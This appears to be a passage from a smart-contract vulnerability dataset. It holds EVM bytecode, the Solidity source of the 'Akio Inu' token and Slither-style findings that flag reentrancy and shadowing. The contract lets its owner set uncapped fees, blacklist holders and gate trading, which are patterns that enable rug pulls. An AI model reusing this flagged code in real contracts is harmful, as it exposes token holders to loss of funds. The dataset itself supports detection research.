_value); } }
0x606060405236156101045763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610106578063095ea7b31461019657806318160ddd146101c957806323b872dd146101eb57806327e235e314610224578063313ce567146102525780633f4ba83a146102785780635c6581651461028a5780635c975abb146102be57806370a08231146102e25780638456cb59146103105780638da5cb5b1461032257806395d89b411461034e578063a0821be3146103de578063a55956831461040c578063a9059cbb14610430578063dd62ed3e14610463578063e9ed866714610497578063f2fde38b146104cc575bfe5b341561010e57fe5b6101166104ea565b60408051602080825283518183015283519192839290830191850190808383821561015c575b80518252602083111561015c57601f19909201916020918201910161013c565b505050905090810190601f1680156101885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019e57fe5b6101b5600160a060020a0360043516602435610521565b604080519115158252519081900360200190f35b34156101d157fe5b6101d961058c565b60408051918252519081900360200190f35b34156101f357fe5b6101b5600160a060020a0360043581169060243516604435610594565b604080519115158252519081900360200190f35b341561022c57fe5b6101d9600160a060020a03600435166105db565b60408051918252519081900360200190f35b341561025a57fe5b6102626105ed565b6040805160ff9092168252519081900360200190f35b341561028057fe5b6102886105f2565b005b341561029257fe5b6101d9600160a060020a0360043581169060243516610673565b60408051918252519081900360200190f35b34156102c657fe5b6101b5610690565b604080519115158252519081900360200190f35b34156102ea57fe5b6101d9600160a060020a03600435166106a0565b60408051918252519081900360200190f35b341561031857fe5b6102886106bf565b005b341561032a57fe5b610332610745565b60408051600160a060020a039092168252519081900360200190f35b341561035657fe5b610116610754565b60408051602080825283518183015283519192839290830191850190808383821561015c575b80518252602083111561015c57601f19909201916020918201910161013c565b505050905090810190601f1680156101885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e657fe5b6101d9600160a060020a036004351661078b565b60408051918252519081900360200190f35b341561041457fe5b610288600160a060020a036004351660243560443561082d565b005b341561043857fe5b6101b5600160a060020a036004351660243561096a565b604080519115158252519081900360200190f35b341561046b57fe5b6101d9600160a060020a03600435811690602435166109af565b60408051918252519081900360200190f35b341561049f57fe5b6104b3600160a060020a03600435166109dc565b6040805192835260208301919091528051918290030190f35b34156104d457fe5b610288600160a060020a03600435166109f5565b005b60408051808201909152600a81527f4150445020546f6b656e00000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b637d2b750081565b60035460009060a060020a900460ff16156105af5760006000fd5b816105b98561078b565b10156105c55760006000fd5b6105d0848484610a8e565b90505b5b9392505050565b60016020526000908152604090205481565b600681565b60035433600160a060020a0390811691161461060e5760006000fd5b60035460a060020a900460ff1615156106275760006000fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a15b5b5b565b600260209081526000928352604080842090915290825290205481565b60035460a060020a900460ff1681565b600160a060020a0381166000908152600160205260409020545b919050565b60035433600160a060020a039081169116146106db5760006000fd5b60035460a060020a900460ff16156106f35760006000fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a15b5b5b565b600354600160a060020a031681565b60408051808201909152600481527f4150445000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a038116600090815260046020526040812060010154429010156107ce5750600160a060020a0381166000908152600160205260409020546106ba565b600160a060020a03821660009081526004602090815260408083205460019092529091205410156107fb57fe5b50600160a060020a038116600090815260046020908152604080832054600190925290912054036106ba565b5b919050565b600354600090819033600160a060020a0390811691161461084e5760006000fd5b600160a060020a0385166000908152600460205260409020600101544290111561089857600160a060020a0385166000908152600460205260409020548410156108985760006000fd5b5b600160a060020a038516600090815260016020526040902054849010156108c05760006000fd5b5050600160a060020a0383166000818152600460209081526040918290205482519081529081018590524262015180850290810182840181905292519093917f89f85a4bd38f70943757e43dedd843409e565220cb52ba80fc297d1246b3b9bb919081900360600190a26040805180820182528581526020808201848152600160a060020a038916600090815260049092529290209051815590516001909101555b5b5050505050565b60035460009060a060020a900460ff16156109855760006000fd5b8161098f3361078b565b101561099b5760006000fd5b6109a58383610b9b565b90505b5b92915050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b6004602052600090815260409020805460019091015482565b60035433600160a060020a03908116911614610a115760006000fd5b600160a060020a0381161515610a275760006000fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600160a060020a038316600090815260016020526040812054829010801590610ade5750600160a060020a0380851660009081526002602090815260408083203390941683529290522054829010155b8015610b035750600160a060020a038316600090815260016020526040902054828101115b1515610b0f5760006000fd5b600160a060020a03808416600081815260016020908152604080832080548801905588851680845281842080548990039055600283528184203390961684529482529182902080548790039055815186815291519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060015b9392505050565b600160a060020a033316600090815260016020526040812054829010801590610bdd5750600160a060020a038316600090815260016020526040902054828101115b1515610be95760006000fd5b600160a060020a03338116600081815260016020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b929150505600a165627a7a72305820e697817eb1e05409e9f77b2c45edca4d0bc11cdc1e4e72688a06b51fff41e81b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
7,360
0xd4a17adfbeda9dc14b3a34039621f44d48cf042e
/* Telegram: t.me/akionu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AkioInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Akio Inu"; string private constant _symbol = "AKIO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _opAddress = payable(0x7ec0420280fa2145be59e4A10F63eEa9Cb699597); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 150000000000 * 10**9; //1.5 uint256 public _maxWalletSize = 3000000000000 * 10**9; //3 uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; // Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_opAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _opAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _opAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _opAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610528578063c3c8cd8014610558578063dd62ed3e1461056d578063ea1644d5146105b357600080fd5b806398a5c31514610498578063a2a957bb146104b8578063a9059cbb146104d8578063bdd795ef146104f857600080fd5b80638da5cb5b116100d15780638da5cb5b146104175780638f70ccf7146104355780638f9a55c01461045557806395d89b411461046b57600080fd5b8063715018a6146103cc57806374010ece146103e15780637d1db4a51461040157600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103575780636d8aa8f8146103775780636fc3eaec1461039757806370a08231146103ac57600080fd5b80632fd689e314610305578063313ce5671461031b57806349bd5a5e1461033757600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c55780632f9c4569146102e557600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461191d565b6105d3565b005b3480156101ff57600080fd5b50604080518082019091526008815267416b696f20496e7560c01b60208201525b60405161022d9190611a47565b60405180910390f35b34801561024257600080fd5b506102566102513660046118f2565b610680565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b5069152d02c7e14af68000005b60405190815260200161022d565b3480156102d157600080fd5b506102566102e036600461187e565b610697565b3480156102f157600080fd5b506101f16103003660046118be565b610700565b34801561031157600080fd5b506102b760185481565b34801561032757600080fd5b506040516009815260200161022d565b34801561034357600080fd5b50601554610286906001600160a01b031681565b34801561036357600080fd5b506101f161037236600461180e565b6107c4565b34801561038357600080fd5b506101f16103923660046119e4565b61080f565b3480156103a357600080fd5b506101f1610857565b3480156103b857600080fd5b506102b76103c736600461180e565b610884565b3480156103d857600080fd5b506101f16108a6565b3480156103ed57600080fd5b506101f16103fc3660046119fe565b61091a565b34801561040d57600080fd5b506102b760165481565b34801561042357600080fd5b506000546001600160a01b0316610286565b34801561044157600080fd5b506101f16104503660046119e4565b610949565b34801561046157600080fd5b506102b760175481565b34801561047757600080fd5b50604080518082019091526004815263414b494f60e01b6020820152610220565b3480156104a457600080fd5b506101f16104b33660046119fe565b610991565b3480156104c457600080fd5b506101f16104d3366004611a16565b6109c0565b3480156104e457600080fd5b506102566104f33660046118f2565b6109fe565b34801561050457600080fd5b5061025661051336600461180e565b60116020526000908152604090205460ff1681565b34801561053457600080fd5b5061025661054336600461180e565b60106020526000908152604090205460ff1681565b34801561056457600080fd5b506101f1610a0b565b34801561057957600080fd5b506102b7610588366004611846565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bf57600080fd5b506101f16105ce3660046119fe565b610a41565b6000546001600160a01b031633146106065760405162461bcd60e51b81526004016105fd90611a9a565b60405180910390fd5b60005b815181101561067c5760016010600084848151811061063857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067481611bad565b915050610609565b5050565b600061068d338484610a70565b5060015b92915050565b60006106a4848484610b94565b6106f684336106f185604051806060016040528060288152602001611c0a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611097565b610a70565b5060019392505050565b6000546001600160a01b0316331461072a5760405162461bcd60e51b81526004016105fd90611a9a565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107995760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105fd565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107ee5760405162461bcd60e51b81526004016105fd90611a9a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108395760405162461bcd60e51b81526004016105fd90611a9a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461087757600080fd5b47610881816110d1565b50565b6001600160a01b0381166000908152600260205260408120546106919061110b565b6000546001600160a01b031633146108d05760405162461bcd60e51b81526004016105fd90611a9a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109445760405162461bcd60e51b81526004016105fd90611a9a565b601655565b6000546001600160a01b031633146109735760405162461bcd60e51b81526004016105fd90611a9a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526004016105fd90611a9a565b601855565b6000546001600160a01b031633146109ea5760405162461bcd60e51b81526004016105fd90611a9a565b600893909355600a91909155600955600b55565b600061068d338484610b94565b6013546001600160a01b0316336001600160a01b031614610a2b57600080fd5b6000610a3630610884565b90506108818161118f565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b81526004016105fd90611a9a565b601755565b6001600160a01b038316610ad25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fd565b6001600160a01b038216610b335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fd565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fd565b60008111610cbc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fd565b6000546001600160a01b03848116911614801590610ce857506000546001600160a01b03838116911614155b15610f8a57601554600160a01b900460ff16610d8c576001600160a01b03831660009081526011602052604090205460ff16610d8c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105fd565b601654811115610dde5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105fd565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2057506001600160a01b03821660009081526010602052604090205460ff16155b610e785760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105fd565b6015546001600160a01b03838116911614610efd5760175481610e9a84610884565b610ea49190611b3f565b10610efd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105fd565b6000610f0830610884565b601854601654919250821015908210610f215760165491505b808015610f385750601554600160a81b900460ff16155b8015610f5257506015546001600160a01b03868116911614155b8015610f675750601554600160b01b900460ff165b15610f8757610f758261118f565b478015610f8557610f85476110d1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fcc57506001600160a01b03831660009081526005602052604090205460ff165b80610ffe57506015546001600160a01b03858116911614801590610ffe57506015546001600160a01b03848116911614155b1561100b57506000611085565b6015546001600160a01b03858116911614801561103657506014546001600160a01b03848116911614155b1561104857600854600c55600954600d555b6015546001600160a01b03848116911614801561107357506014546001600160a01b03858116911614155b1561108557600a54600c55600b54600d555b61109184848484611334565b50505050565b600081848411156110bb5760405162461bcd60e51b81526004016105fd9190611a47565b5060006110c88486611b96565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561067c573d6000803e3d6000fd5b60006006548211156111725760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105fd565b600061117c611362565b90506111888382611385565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123957600080fd5b505afa15801561124d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611271919061182a565b8160018151811061129257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112b89130911684610a70565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f1908590600090869030904290600401611acf565b600060405180830381600087803b15801561130b57600080fd5b505af115801561131f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611341576113416113c7565b61134c8484846113f5565b8061109157611091600e54600c55600f54600d55565b600080600061136f6114ec565b909250905061137e8282611385565b9250505090565b600061118883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611530565b600c541580156113d75750600d54155b156113de57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114078761155e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143990876115bb565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146890866115fd565b6001600160a01b03891660009081526002602052604090205561148a8161165c565b61149484836116a6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114d991815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006115098282611385565b8210156115275750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115515760405162461bcd60e51b81526004016105fd9190611a47565b5060006110c88486611b57565b600080600080600080600080600061157b8a600c54600d546116ca565b925092509250600061158b611362565b9050600080600061159e8e87878761171f565b919e509c509a509598509396509194505050505091939550919395565b600061118883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611097565b60008061160a8385611b3f565b9050838110156111885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fd565b6000611666611362565b90506000611674838361176f565b3060009081526002602052604090205490915061169190826115fd565b30600090815260026020526040902055505050565b6006546116b390836115bb565b6006556007546116c390826115fd565b6007555050565b60008080806116e460646116de898961176f565b90611385565b905060006116f760646116de8a8961176f565b9050600061170f826117098b866115bb565b906115bb565b9992985090965090945050505050565b600080808061172e888661176f565b9050600061173c888761176f565b9050600061174a888861176f565b9050600061175c8261170986866115bb565b939b939a50919850919650505050505050565b60008261177e57506000610691565b600061178a8385611b77565b9050826117978583611b57565b146111885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fd565b80356117f981611bf4565b919050565b803580151581146117f957600080fd5b60006020828403121561181f578081fd5b813561118881611bf4565b60006020828403121561183b578081fd5b815161118881611bf4565b60008060408385031215611858578081fd5b823561186381611bf4565b9150602083013561187381611bf4565b809150509250929050565b600080600060608486031215611892578081fd5b833561189d81611bf4565b925060208401356118ad81611bf4565b929592945050506040919091013590565b600080604083850312156118d0578182fd5b82356118db81611bf4565b91506118e9602084016117fe565b90509250929050565b60008060408385031215611904578182fd5b823561190f81611bf4565b946020939093013593505050565b6000602080838503121561192f578182fd5b823567ffffffffffffffff80821115611946578384fd5b818501915085601f830112611959578384fd5b81358181111561196b5761196b611bde565b8060051b604051601f19603f8301168101818110858211171561199057611990611bde565b604052828152858101935084860182860187018a10156119ae578788fd5b8795505b838610156119d7576119c3816117ee565b8552600195909501949386019386016119b2565b5098975050505050505050565b6000602082840312156119f5578081fd5b611188826117fe565b600060208284031215611a0f578081fd5b5035919050565b60008060008060808587031215611a2b578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7357858101830151858201604001528201611a57565b81811115611a845783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b1e5784516001600160a01b031683529383019391830191600101611af9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5257611b52611bc8565b500190565b600082611b7257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9157611b91611bc8565b500290565b600082821015611ba857611ba8611bc8565b500390565b6000600019821415611bc157611bc1611bc8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122051ae68cd5564ec178d75d95514fcca044f061f1623e7dd02b8628a58a8f73d8d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
